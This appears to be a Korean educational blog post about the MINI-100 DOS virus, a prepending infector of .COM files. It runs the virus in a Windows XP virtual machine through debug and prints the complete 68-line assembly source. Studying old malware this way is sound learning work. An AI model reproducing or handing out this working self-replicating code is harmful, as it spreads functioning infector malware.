MINI-100 바이러스에 대하여 알아보기
실습 환경
VMware Workstation 15 Player (FREE 버전)
Windows XP Professional SP3 (32Bit)
MINI-100 코드는 제일 밑에 있습니다.
전위형 바이러스로 확장자가 COM인 파일을 감염시키며, 감염된 파일은 100 Byte의 크기가 증가합니다.
COM 확장자는 DOS를 사용할 때 사용하던 확장자로 최대 64 KByte의 크기를 가집니다.
전위형 바이러스란 정상파일 앞에 바이러스가 붙는 형태의 바이러스라고 합니다.
이와 반대로 후위형 바이러스는 정상파일 뒤에 바이러스가 붙는 형태입니다.
코드를 분석하기 전에 MINI-100 바이러스를 실행해 보겠습니다.
MINI-100 바이러스는 같은 폴더 안에 있는 COM 확장자를 가진 파일만 감염시키기 때문에 새로 만들기를 통해 “새 폴더”를 만들어줍니다.
그리고 메모장을 실행한 다음 아무거나 내용을 입력합니다.
저장을 하실 때 저장 위치는 “새 폴더”에다가 하고, 파일의 이름은 원하시는 이름으로 입력하신 후 확장자를 COM 확장자로 작성한 후 저장버튼을 클릭합니다.
파일 이름 : gogo.com
파일 형식 : 모든 파일
인코딩 : ANSI
저는 메모장을 이용하여 “gogo.com” 파일을 “새 폴더”안에 생성하였습니다.
그리고 생성한 “gogo.com” 파일의 속성 창을 열어서 파일의 크기를 확인합니다.
디스크 할당 크기는 무시하셔도 됩니다.
“show me the money”라는 텍스트를 입력하였더니 17 Byte의 크기를 가지는 “gogo.com” 파일이 되었습니다. (크기는 입력하신 텍스트에 따라서 다르게 표시됩니다.)
이제 속성 창을 닫아주고 CMD 창을 실행합니다.
CMD 창을 열어준 다음 편리한 작업을 위해 빠른 편집 기능을 이용하겠습니다.
CMD 창에서 명령 프롬프트라는 글씨가 있는 파란 테두리에서 마우스 오른쪽 버튼을 클릭합니다.
메뉴가 나오시면 속성 메뉴를 클릭합니다.
속성 창에서 옵션 탭으로 이동하시면 편집 옵션쪽에 보시면 “빠른 편집 모드”가 있습니다.
빠른 편집 모드를 체크 해주고 확인 버튼을 클릭합니다.
CMD창을 종료 한 후 다시 실행합니다.
“gogo.com” 파일이 있는 폴더의 주소를 클릭한 다음 복사합니다.
CMD창을 열어준 후 폴더를 이동하는 cd 명령어를 이용하여 만들어 준 “새 폴더”로 이동합니다.
이동하실 때는 CMD창에 cd만 입력하신 후 마우스 오른쪽 버튼을 누르면 복사했던 새 폴더의 주소가 붙여넣기 됩니다.
cd C:\Documents and Settings\nan491\바탕 화면\새 폴더
Enter 버튼을 누르면 이동됩니다.
이제 새 폴더로 이동한 CMD창에 debug 명령어를 입력합니다.
그리고 MINI-100.txt 파일을 실행하여 Ctrl+A (전체 선택)을 한 다음 복사합니다.
CMD창으로 다시 돌아와서 마우스 오른쪽 버튼을 클릭하면 MINI-100.txt에 있는 코드가 자동으로 입력됩니다.
입력이 끝나고 “-”가 나오면 g을 입력하여 작성한 코드를 실행합니다.
새 폴더로 돌아가서 “gogo.com” 파일의 속성 창을 실행합니다.
처음 파일의 크기는 17 Byte였는데 100 Byte가 증가하여 117 Byte가 되었습니다.
프로그램을 한번더 실행하면 또 100 Byte가 증가합니다.
총 68줄의 코드입니다.
MINI-100 바이러스의 코드는 다음과 같습니다.
-MINI-100 Code Start-
rsi
100
-a 100
PUSH SI
PUSH SI
POP DI
MOV AX,CS
INC AH
MOV ES,AX
MOV CL,64
REPZ
MOVSB
POP SI
MOV AH,4E
MOV DX,015E
INT 21
JNB 012D
PUSH SI
PUSH ES
PUSH CS
POP ES
XCHG DI,SI
MOV CX,FE9B
MOV AX,0125
PUSH AX
RETF
REPZ
MOVSB
POP SI
PUSH ES
PUSH ES
POP DS
PUSH SI
RETF
XCHG DX,AX
MOV AX,3D02
MOV DL,9E
INT 21
XCHG BX,AX
PUSH ES
POP DS
MOV AH,3F
PUSH DI
POP DX
XOR CX,CX
PUSH CX
DEC CX
INT 21
ADD AX,0064
POP CX
PUSH AX
MOV AX,4200
CWD
INT 21
MOV AH,40
POP CX
PUSH SI
POP DX
INT 21
PUSH CS
POP DS
MOV AH,3E
INT 21
MOV AH,4F
JMP 0113
SUB CH,[6F63]
DB 6D
ADD BL,AL
-MINI-100 Code End-
이상으로 MINI-100 바이러스에 대하여 알아보았습니다.
감사합니다.
'어셈블리어와 악성코드' 카테고리의 다른 글
MINI-100 바이러스 분석하기 - (2) (0) | 2018.11.27 |
---|---|
MINI-100 바이러스 분석하기 - (1) (0) | 2018.11.26 |
어셈블리어를 이용하여 1부터 100까지의 합을 구해보자 (0) | 2018.11.23 |
레지스터와 메모리에 대하여 알아보기 (0) | 2018.11.22 |
INT(Interrupt), NOP(No Operation), LOOP (0) | 2018.11.21 |